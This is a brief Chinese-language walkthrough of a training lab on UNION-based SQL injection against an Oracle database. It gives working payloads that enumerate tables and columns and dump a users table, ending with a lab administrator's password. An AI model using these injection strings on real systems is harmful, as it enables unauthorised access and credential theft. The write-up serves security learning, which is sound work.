# Web SQL injection Lab6
這題 Lab 是一個經典的 UNION-based SQL Injection(聯集查詢型 SQL 注入),目的是透過注入來:
- 列出資料表名稱
- 找到帳密儲存的表格
- 查出帳號與密碼欄位名稱
- 查出所有帳密內容
- 用 administrator 的帳號登入完成挑戰
一樣先進到網站裡。

先攔截請求並修改。
```
'+UNION+SELECT+'abc','def'+FROM+dual--
```
- Oracle 不允許單純 SELECT 'abc','def',一定要 FROM dual
- 若正常顯示 abc 和 def,代表查詢回傳的是 兩個文字欄位

都有顯示出來,所以可以進行下一步。
接著列出所有資料表名稱。
```
'+UNION+SELECT+table_name,+NULL+FROM+all_tables--
```
Oracle 中 `information_schema.tables` → 對應的是 `all_tables`
觀察頁面,看是否有類似 USERS 的表格名稱出現。

顯然有一個可疑的`USERS_KLCCFR`,所以我們列出表格內容。
```
'+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name='USERS_KLCCFR'--
```


確定兩個欄位 `USERNAME_UGDAJN` 和 `PASSWORD_TMQJBL` 分別是存放 username 跟 password。
```
'+UNION+SELECT+USERNAME_UGDAJN,PASSWORD_TMQJBL+FROM+USERS_KLCCFR--
```

確實查到了帳號密碼,所以我們拿去登入看看。
`administrator:mltjvvf0nkol9104r8fj`
